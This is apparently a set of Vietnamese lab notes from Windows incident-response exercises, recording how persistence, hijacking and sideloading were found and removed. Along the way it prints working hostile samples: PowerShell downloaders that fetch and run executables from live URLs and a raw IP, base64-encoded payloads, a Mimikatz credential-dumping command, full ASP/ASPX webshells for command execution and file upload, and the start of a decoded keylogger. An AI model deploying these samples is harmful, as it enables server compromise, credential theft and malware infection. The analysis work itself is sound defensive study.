Lab 1
C:\Users\hunter\AppData\Roaming\ELP84P\System~1.LNK không được verified tạo shortcut đến file độc hại system.exe
System.exe nàm dưới explorer
Có inject thread
Lab 2
Trong autorun, một servise của WinDefend được đăng ký nhưng không verified, và WinDefend cũng không hoạt động
Qua CIGui, phát hiện 2 dll not verified và đều độc hại qua VirusTotal check
Cả 2 đều được load trong process 3276
Về hidservs.dll, tên gốc là msiscsi.exe
Lab 3
COM gốc bị hijacking
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32
COM hijacking
HKCU\SOFTWARE\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 HKCR\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32
Qua Virustotal biết được file này là một PE độc hại
Lab 4
Command được mã hóa bằng base64, tham khảo bài viết , decode bằng CyberChef
Sử dụng tool PowerDecode , thu được plainScript
Copy $Auj0pbm='O6l92fc';
new-item $ENv:Temp\WORD\2019\ -itemtype DirecToRY;
[Net.ServicePointManager]::"sECUrITYpROToCOl" = 'tls12, tls11, tls';
$Oddxqgp = 'O1jp0j';
$Qjy_pij=(('X39s')+'0v2');
$Hlttecc=$env:temp+(('{0}word{0}2019{0}') -f '\')+$Oddxqgp+'.exe';$F05_k3e='Kbcb19_';$Wket1s4=new-object neT.WEbcLIent;$Smyttl7=(('https:')+'//dadieroque.com/wp-admin/dg/*https://sulselekspres.com/cgi-bin/6l0nyO/*https://maulanarumifoundation.com/RumiFoundation/Q9etF/*https://kelas.yec.co.id/srjns/B/*http://caesarmoving.com/wp-content/9s/*https://kinepremins.cl/wp-admin/6wr/*http://dolphininsight.it/wp-includes/LVf/').SPlIt('*');
$Tgxz2c9=(('H2of')+'4xd');
foreach($Cgctt61 in $Smyttl7){try{$Wket1s4.dOWnloaDFiLE($Cgctt61, $Hlttecc);
$V2arfke='Dovnfho';
If ((Get-Item $Hlttecc).leNGtH -ge 39850)
{Invoke-Item($Hlttecc);$T240cig='Izuo0r3';
break;
$Qi08tbr=(('Tun')+'rund')}}catch{}}$Knc8ls3='Wq5wurg'
Phát hiện hành vi độc :
Lab 5
HKCU\Environment\UserInitMprLogonScript
được sử dụng để chạy các script hoặc lệnh khi người dùng đăng nhập vào hệ thống.
Copy cmd.exe /C "OIS.EXE" log privilege::debug sekurlsa::logonpasswords exit
khả năng cao OIS.EXE là Mimikatz, và dòng lệnh nhằm trích xuất thông tin đăng nhập từ lsass trong mem và thoát
Tìm thấy OIS.EXE trong System.exe
Lab 6
Lab 7
Phát hiện DLL lạ trong AppInit
VirusTotal check là độc
Unload sử dụng CheckInject.exe -unload <PID> <DLL full path>
Lab 8
Đương dân lạ của McAfee
c:\programdata\mcafee\mcafee.exe
Thư mục bị ẩn toàn bộ
Virustotal check được McUtil.dll là độc, khả năng là sideloading
Qua TCPView phát hiện một svchost.exe liên tục scan dải mạng bằng gói SYN
Và một svchost.exe lạ trong procexp có injection code
https://esc.vn/vncert-cong-bo-4-ma-doc-can-ngan-chan-khan-cap-sau-vu-vietnam-airlines-bi-hack/
Lab 9
powershell.exe -ExecutionPolicy Bypass -file C:\ProgramData\Microsoft\install.ps1 -WindowStyle Hidden
Nội dung file install.ps1
Copy powershell -w hidden -enco JABFAGEAcQBlAGsAcQBkAHIAPQAnAFIAZABpAGgAeQBoAG8AawByACcAOwAkAFEAbABpAGQAcwB2AG0AZwB4ACAAPQAgACcANgA5ADcAJwA7ACQAWgBlAGsAcABpAHcAYQBmAGkAZwB5AHcAPQAnAEIAegBuAHAAaQBtAHMAZAB6AGgAegAnADsAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAbABpAGQAcwB2AG0AZwB4ACsAJwAuAGUAeABlACcAOwAkAE4AeQB2AGcAZQB1AG4AYQBtAHUAdgBpAD0AJwBRAHcAbABlAGwAbABpAGcAbwB4AGIAJwA7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AdwBFAEIAQwBsAGkAZQBuAHQAOwAkAFMAbgBvAHQAdQB6AGoAaQA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQByAGYAYQBqAGIAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AawB4ADQAMwAyADQAMwA0AC8AKgBoAHQAdABwAHMAOgAvAC8AaABlAGYAbwBrAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ANQB6AHUAegA5AGkAcgAwADAANgAwADYALwAqAGgAdAB0AHAAOgAvAC8AaQBjAGwAbwB1AGQAZwByAGEAcABoAGkAYwBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbwAxAGMAdQA3ADYAMgA4AC8AKgBoAHQAdABwADoALwAvAGIAdQBjAGsAZQB0AGwAaQBzAHQAYQBkAHYAdABvAHUAcgBzAC4AYwBvAG0ALwBtADUAXwBlAGQAaQB0AF8AaQB0AGUAbQAvADAANgA2ADAANQBsAGQAMAAzADEAOQA3AC8AKgBoAHQAdABwADoALwAvAG4AYQBhAHYAaQBrAHMAYwBoAG8AbwBsAC4AYwBvAG0ALwBuAGEAYQB2AGkAawBzAGMAaABvAG8AbAAuAGMAbwBtAC8AbwBvAHEAdgBpADcAYQAwADYAOAAyAC8AJwAuACIAUwBQAEwAYABJAHQAIgAoACcAKgAnACkAOwAkAFoAdwBlAGMAcABsAGMAbQBoAG4AegB1AGMAPQAnAE8AZgByAGgAYgB2AGIAZwBvAGMAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUwBpAHgAZQBuAGYAaAB1AHYAeABsAG8AdwAgAGkAbgAgACQAUwBuAG8AdAB1AHoAagBpACkAewB0AHIAeQB7ACQATQBnAHUAZgBwAHYAYQBzAGsAaABsAHoALgAiAGQAYABPAHcATgBgAEwATwBhAGQAYABGAGkAbABFACIAKAAkAFMAaQB4AGUAbgBmAGgAdQB2AHgAbABvAHcALAAgACQARAB2AGIAYQBwAHIAZQB4AGcAbQBlACkAOwAkAEgAagB5AGUAdQB4AG8AZQBoAHIAPQAnAEYAZQBqAGoAbABrAGoAYwB0AHIAagBmAHQAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQAuACIATABgAEUAYABOAEcAVABIACIAIAAtAGcAZQAgADIANgA0ADcANAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAHIAVAAiACgAJABEAHYAYgBhAHAAcgBlAHgAZwBtAGUAKQA7ACQAUABxAGEAYgBiAHEAZgB4AHAAdgB6AGUAdQA9ACcATgBsAGsAdwByAHIAeABjAHIAJwA7AGIAcgBlAGEAawA7ACQAUwBwAGEAcwBrAG0AdwBxAG8APQAnAEUAdgBvAHoAbQB1AHEAbABlAGkAaABrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbQBqAGYAcgBvAGkAdwB0AHkAcAB3AD0AJwBNAGgAZQB3AHEAdwBoAHAAaABzACcA
Giải mã sử dụng CyberChef và PowerDecode
Copy $Eaqekqdr = 'Rdihyhokr';
$Qlidsvmgx = '697';
$Zekpiwafigyw = 'Bznpimsdzhz';
$Dvbaprexgme = $env:userprofile + '\' + $Qlidsvmgx + '.exe';
$Nyvgeunamuvi = 'Qwlelligoxb';
$Mgufpvaskhlz = new-object net.wEBClient;
$Snotuzji = 'https://www.arfajbd.com/wp-admin/kx432434/*https://hefok.com/wp-content/5zuz9ir00606/*http://icloudgraphics.com/wp-content/o1cu7628/*http://bucketlistadvtours.com/m5_edit_item/06605ld03197/*http://naavikschool.com/naavikschool.com/ooqvi7a0682/'.SPLIt('*');
$Zwecplcmhnzuc = 'Ofrhbvbgoco';
foreach($Sixenfhuvxlow in $Snotuzji) {
try {
$Mgufpvaskhlz.dOwNLOadFilE($Sixenfhuvxlow, $Dvbaprexgme);
$Hjyeuxoehr = 'Fejjlkjctrjft';
If ((Get-Item $Dvbaprexgme).LENGTH -ge 26474) {
[Diagnostics.Process]::Start($Dvbaprexgme);
$Pqabbqfxpvzeu = 'Nlkwrrxcr';
break;
}
$Spaskmwqo = 'Evozmuqleihk';
} catch {}
}
$Imjfroiwtypw = 'Mhewqwhphs';
Script cố gắng tải vào tệp 697.exe và thực thi
Lab 10
Phát hiện một giá trị IFEO lạ
rundll32.exe c:\windows\system32\config:conf.dll,inst
Đường dân gọi đến inst
trong một file DLL ẩn trong phần config:conf.dll
, sử dung ADS (Alternate Data Streams )
Virustotal check được c:\windows\system32\config:conf.dll là file độc
Chú ý timestamp
Ngoài ra phát hiện inject code
Các mã độc ẩn: C:\Windows\Temp\Vdump.exe
C:\Windows\System32\drivers\dump_roes.sys
Lấy mẫu https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f :
Get-Item c:\windows\system32\config | Get-Content -Stream conf.dll | Set-Content -Path config_conf.dll
Hoặc
expand C:\windows\system32\config:conf.dll C:\Users\Gee\Desktop\conf1.dll
Hoặc
$adsContent = Get-Content -Path "C:\windows\system32\config:conf.dll" -Raw -Encoding Byte [System.IO.File]::WriteAllBytes("C:\Users\Gee\Desktop\conf.dll", $adsContent)
Gỡ bỏ:
Remove-Item c:\windows\system32\config -Stream conf.dll
Lab 11
Phát hiện UltraViewService
Image Hijacking với IFEO: Khi người dùng mở sethc.exe
được thay thế bằng cmd.exe
, thường là nhấn Shift 5 lần, Command Prompt sẽ xuất hiệnquyền hệ thống (SYSTEM)
https://www.pandasecurity.com/en/mediacenter/sticky-attacks-when-the-operating-system-turns-against-you/
Lab 12
Một Network Provider được thêm vào HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
Có thể nhằm mục tiêu lấy thông tin xác thực của người dùng, tham khảo
bài viết khác
Lab 13
Phát hiện chương trình thực thi bất thường "C:\Program Files\PRTG Network Monitor\lsm.exe" trong HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 12/25/2020 11:16 AM
File thực thi được verify tuy nhiên nhưng phát hiện nó load một DLL không verify
Lab 14
Phát hiện Image Path C:\Windows\QcConsol.exe lạ trong các khóa registry nhạy cảm
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Command line: C:\Windows\QcConsol.exe -LowIntegrityServer
Trong thư mục nhạy cảm, phát hiện QcConsol.exe, QcLite.dll, stdole.tlb được ẩn
VirusTotal check QcLite.dll là độc hại, được đặt cùng thư mục với QcConsol.exe hợp lệ, khả năng là Dll sideload. Check inject code
Xóa registry key, kill QcConsol.exe, sau vài giây xuất hiện một QcConsol.exe khác nằm trong dllhst3gexe
Sau một khoảng thơi gian, dllhst3g.exe tự biến mất, một dllhst3g.exe khác tự sinh ra độc lập
Key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run đã xóa đã được tạo lại
Chỉ kill dllhst3g.exe thì sau một lúc cũng xuất hiện trở lại
Lab 15
commandline: powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://39.109.114.56:80/a'))
Lab 16
Detect Webshell
Copy <!--
ASP Webshell
Working on latest IIS
Referance :-
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
http://www.w3schools.com/asp/
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's local address:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>
Webshell cho phép lấy thông tin và RCE
Task Scheduler thực thi mã độc
Lab 17
mimilib.dll được thêm vào khóa HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
Dấu hiệu của Custom SSP
mimilib.dll
tệp nhị phân do Mimikatz cung cấp. Khi đặt tệp vào C:\Windows\System32\ và
thêm mimilib.dll
vào Security Support Provider list (Security Packages):
Copy reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
Sau khi khởi động lại tất cả thông tin xác thực có thể tìm thấy dạng cleartext tại C:\Windows\System32\kiwissp.log
Lab 18
Phát hiện Webshell
Form cho phép RCE
Copy <%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xcmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script>
<html>
<body>
<form runat="server">
<p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>
<asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>
<p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>
<p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>
<p><asp:Label id="result" runat="server"></asp:Label>
</form>
</body>
</html>
Task Scheduler bất thường: Commandline "C:\Windows\apppatch\NvSmart.exe"
NvSmart.exe là hợp lệ nhưng phát hiện nó load một dll not verified độc: NvSmartMax.dll
Lab 19
Phát hiện Webshell
Copy <%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
private const string AUTHKEY = "woanware";
private const string HEADER = "<html>\n<head>\n<title>filesystembrowser</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n";
private const string FOOTER = "</body>\n</html>\n";
/// <summary>
///
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void Page_Load(object sender, EventArgs e)
{
try
{
if (Request.Params["authkey"] == null)
{
Response.Write(HEADER);
Response.Write(this.GetUploadControls());
Response.Write(FOOTER);
return;
}
if (Request.Params["authkey"] != AUTHKEY)
{
Response.Write(HEADER);
Response.Write(this.GetUploadControls());
Response.Write(FOOTER);
return;
}
if (Request.Params["operation"] != null)
{
if (Request.Params["operation"] == "upload")
{
Response.Write(HEADER);
Response.Write(this.UploadFile());
Response.Write(FOOTER);
}
else
{
Response.Write(HEADER);
Response.Write("Unknown operation");
Response.Write(FOOTER);
}
}
else
{
Response.Write(HEADER);
Response.Write(this.GetUploadControls());
Response.Write(FOOTER);
}
}
catch (Exception ex)
{
Response.Write(HEADER);
Response.Write(ex.Message);
Response.Write(FOOTER);
}
}
/// <summary>
///
/// </summary>
private string UploadFile()
{
try
{
if (Request.Params["authkey"] == null)
{
return string.Empty;
}
if (Request.Params["authkey"] != AUTHKEY)
{
return string.Empty;
}
if (Request.Files.Count != 1)
{
return "No file selected";
}
HttpPostedFile httpPostedFile = Request.Files[0];
int fileLength = httpPostedFile.ContentLength;
byte[] buffer = new byte[fileLength];
httpPostedFile.InputStream.Read(buffer, 0, fileLength);
FileInfo fileInfo = new FileInfo(Request.PhysicalPath);
using (FileStream fileStream = new FileStream(Path.Combine(fileInfo.DirectoryName, Path.GetFileName(httpPostedFile.FileName)), FileMode.Create))
{
fileStream.Write(buffer, 0, buffer.Length);
}
return "File uploaded";
}
catch (Exception ex)
{
return ex.ToString();
}
}
/// <summary>
///
/// </summary>
/// <returns></returns>
private string GetUploadControls()
{
string temp = string.Empty;
temp = "<form enctype=\"multipart/form-data\" action=\"?operation=upload\" method=\"post\">";
temp += "<br>Auth Key: <input type=\"text\" name=\"authKey\"><br>";
temp += "<br>Please specify a file: <input type=\"file\" name=\"file\"></br>";
temp += "<div><input type=\"submit\" value=\"Send\"></div>";
temp += "</form>";
return temp;
}
</script>
<!-- Created by Mark Woan (http://www.woanware.co.uk) -->
Webshell cho phép upload file tùy ý
Phát hiện một Task Scheduler lạ chạy powershell khi logon
Thực thi
Copy powershell -windowstyle hidden -EncodedCommand IwByAGUAcQB1AGkAcgBlAHMAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAZgB1AG4AYwB0AGkAbwBuACAAUwB0AGEAcgB0AC0ASwBlAHkATABvAGcAZwBlAHIAKAAkAFAAYQB0AGgAPQAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbABvAGcAZgBpAGwAZQAuAHQAeAB0ACIAKQAgAAoAewAKACAAIAAjACAAUwBpAGcAbgBhAHQAdQByAGUAcwAgAGYAbwByACAAQQBQAEkAIABDAGEAbABsAHMACgAgACAAJABzAGkAZwBuAGEAdAB1AHIAZQBzACAAPQAgAEAAJwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACwAIABFAHgAYQBjAHQAUwBwAGUAbABsAGkAbgBnAD0AdAByAHUAZQApAF0AIAAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHMAaABvAHIAdAAgAEcAZQB0AEEAcwB5AG4AYwBLAGUAeQBTAHQAYQB0AGUAKABpAG4AdAAgAHYAaQByAHQAdQBhAGwASwBlAHkAQwBvAGQAZQApADsAIAAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAGIAeQB0AGUAWwBdACAAawBlAHkAcwB0AGEAdABlACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATQBhAHAAVgBpAHIAdAB1AGEAbABLAGUAeQAoAHUAaQBuAHQAIAB1AEMAbwBkAGUALAAgAGkAbgB0ACAAdQBNAGEAcABUAHkAcABlACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgAsACAAQwBoAGEAcgBTAGUAdAA9AEMAaABhAHIAUwBlAHQALgBBAHUAdABvACkAXQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAVABvAFUAbgBpAGMAbwBkAGUAKAB1AGkAbgB0ACAAdwBWAGkAcgB0AEsAZQB5ACwAIAB1AGkAbgB0ACAAdwBTAGMAYQBuAEMAbwBkAGUALAAgAGIAeQB0AGUAWwBdACAAbABwAGsAZQB5AHMAdABhAHQAZQAsACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAAdwBzAHoAQgB1AGYAZgAsACAAaQBuAHQAIABjAGMAaABCAHUAZgBmACwAIAB1AGkAbgB0ACAAdwBGAGwAYQBnAHMAKQA7AAoAJwBAAAoACgAgACAAIwAgAGwAbwBhAGQAIABzAGkAZwBuAGEAdAB1AHIAZQBzACAAYQBuAGQAIABtAGEAawBlACAAbQBlAG0AYgBlAHIAcwAgAGEAdgBhAGkAbABhAGIAbABlAAoAIAAgACQAQQBQAEkAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzAGkAZwBuAGEAdAB1AHIAZQBzACAALQBOAGEAbQBlACAAJwBXAGkAbgAzADIAJwAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABBAFAASQAgAC0AUABhAHMAcwBUAGgAcgB1AAoAIAAgACAAIAAKACAAIAAjACAAYwByAGUAYQB0AGUAIABvAHUAdABwAHUAdAAgAGYAaQBsAGUACgAgACAAJABuAHUAbABsACAAPQAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAUABhAHQAaAAgAC0ASQB0AGUAbQBUAHkAcABlACAARgBpAGwAZQAgAC0ARgBvAHIAYwBlAAoACgAgACAAdAByAHkACgAgACAAewAKACAAIAAgACAAIwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBSAGUAYwBvAHIAZABpAG4AZwAgAGsAZQB5ACAAcAByAGUAcwBzAGUAcwAuACAAUAByAGUAcwBzACAAQwBUAFIATAArAEMAIAB0AG8AIABzAGUAZQAgAHIAZQBzAHUAbAB0AHMALgAnACAALQBGAG8AcgBlAGcAcgBvAHUAbgBkAEMAbwBsAG8AcgAgAFIAZQBkAAoACgAgACAAIAAgACMAIABjAHIAZQBhAHQAZQAgAGUAbgBkAGwAZQBzAHMAIABsAG8AbwBwAC4AIABXAGgAZQBuACAAdQBzAGUAcgAgAHAAcgBlAHMAcwBlAHMAIABDAFQAUgBMACsAQwAsACAAZgBpAG4AYQBsAGwAeQAtAGIAbABvAGMAawAKACAAIAAgACAAIwAgAGUAeABlAGMAdQB0AGUAcwAgAGEAbgBkACAAcwBoAG8AdwBzACAAdABoAGUAIABjAG8AbABsAGUAYwB0AGUAZAAgAGsAZQB5ACAAcAByAGUAcwBzAGUAcwAKACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANAAwAAoAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAjACAAcwBjAGEAbgAgAGEAbABsACAAQQBTAEMASQBJACAAYwBvAGQAZQBzACAAYQBiAG8AdgBlACAAOAAKACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGEAcwBjAGkAaQAgAD0AIAA5ADsAIAAkAGEAcwBjAGkAaQAgAC0AbABlACAAMgA1ADQAOwAgACQAYQBzAGMAaQBpACsAKwApACAAewAKACAAIAAgACAAIAAgACAAIAAjACAAZwBlAHQAIABjAHUAcgByAGUAbgB0ACAAawBlAHkAIABzAHQAYQB0AGUACgAgACAAIAAgACAAIAAgACAAJABzAHQAYQB0AGUAIAA9ACAAJABBAFAASQA6ADoARwBlAHQAQQBzAHkAbgBjAEsAZQB5AFMAdABhAHQAZQAoACQAYQBzAGMAaQBpACkACgAKACAAIAAgACAAIAAgACAAIAAjACAAaQBzACAAawBlAHkAIABwAHIAZQBzAHMAZQBkAD8ACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAdABhAHQAZQAgAC0AZQBxACAALQAzADIANwA2ADcAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABbAGMAbwBuAHMAbwBsAGUAXQA6ADoAQwBhAHAAcwBMAG8AYwBrAAoACgAgACAAIAAgACAAIAAgACAAIAAgACMAIAB0AHIAYQBuAHMAbABhAHQAZQAgAHMAYwBhAG4AIABjAG8AZABlACAAdABvACAAcgBlAGEAbAAgAGMAbwBkAGUACgAgACAAIAAgACAAIAAgACAAIAAgACQAdgBpAHIAdAB1AGEAbABLAGUAeQAgAD0AIAAkAEEAUABJADoAOgBNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAJABhAHMAYwBpAGkALAAgADMAKQAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAjACAAZwBlAHQAIABrAGUAeQBiAG8AYQByAGQAIABzAHQAYQB0AGUAIABmAG8AcgAgAHYAaQByAHQAdQBhAGwAIABrAGUAeQBzAAoAIAAgACAAIAAgACAAIAAgACAAIAAkAGsAYgBzAHQAYQB0AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAEIAeQB0AGUAWwBdACAAMgA1ADYACgAgACAAIAAgACAAIAAgACAAIAAgACQAYwBoAGUAYwBrAGsAYgBzAHQAYQB0AGUAIAA9ACAAJABBAFAASQA6ADoARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoACQAawBiAHMAdABhAHQAZQApAAoACgAgACAAIAAgACAAIAAgACAAIAAgACMAIABwAHIAZQBwAGEAcgBlACAAYQAgAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIAB0AG8AIAByAGUAYwBlAGkAdgBlACAAaQBuAHAAdQB0ACAAawBlAHkACgAgACAAIAAgACAAIAAgACAAIAAgACQAbQB5AGMAaABhAHIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAKAAoAIAAgACAAIAAgACAAIAAgACAAIAAjACAAdAByAGEAbgBzAGwAYQB0AGUAIAB2AGkAcgB0AHUAYQBsACAAawBlAHkACgAgACAAIAAgACAAIAAgACAAIAAgACQAcwB1AGMAYwBlAHMAcwAgAD0AIAAkAEEAUABJADoAOgBUAG8AVQBuAGkAYwBvAGQAZQAoACQAYQBzAGMAaQBpACwAIAAkAHYAaQByAHQAdQBhAGwASwBlAHkALAAgACQAawBiAHMAdABhAHQAZQAsACAAJABtAHkAYwBoAGEAcgAsACAAJABtAHkAYwBoAGEAcgAuAEMAYQBwAGEAYwBpAHQAeQAsACAAMAApAAoACgAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHUAYwBjAGUAcwBzACkAIAAKACAAIAAgACAAIAAgACAAIAAgACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABhAGQAZAAgAGsAZQB5ACAAdABvACAAbABvAGcAZwBlAHIAIABmAGkAbABlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQQBwAHAAZQBuAGQAQQBsAGwAVABlAHgAdAAoACQAUABhAHQAaAAsACAAJABtAHkAYwBoAGEAcgAsACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQApACAACgAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgAH0ACgAgACAAIAAgAH0ACgAgACAAfQAKACAAIABmAGkAbgBhAGwAbAB5AAoAIAAgAHsACgAgACAAIAAgACMAIABvAHAAZQBuACAAbABvAGcAZwBlAHIAIABmAGkAbABlACAAaQBuACAATgBvAHQAZQBwAGEAZAAKACAAIAAgACAAIwAgAG4AbwB0AGUAcABhAGQAIAAkAFAAYQB0AGgACgAgACAAfQAKAH0ACgAKACMAIAByAGUAYwBvAHIAZABzACAAYQBsAGwAIABrAGUAeQAgAHAAcgBlAHMAcwBlAHMAIAB1AG4AdABpAGwAIABzAGMAcgBpAHAAdAAgAGkAcwAgAGEAYgBvAHIAdABlAGQAIABiAHkAIABwAHIAZQBzAHMAaQBuAGcAIABDAFQAUgBMACsAQwAKACMAIAB3AGkAbABsACAAdABoAGUAbgAgAG8AcABlAG4AIAB0AGgAZQAgAGYAaQBsAGUAIAB3AGkAdABoACAAYwBvAGwAbABlAGMAdABlAGQAIABrAGUAeQAgAGMAbwBkAGUAcwAKAFMAdABhAHIAdAAtAEsAZQB5AEwAbwBnAGcAZQByAA==
Decode Base64 phát hiện đây là một keylogger
Copy #requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
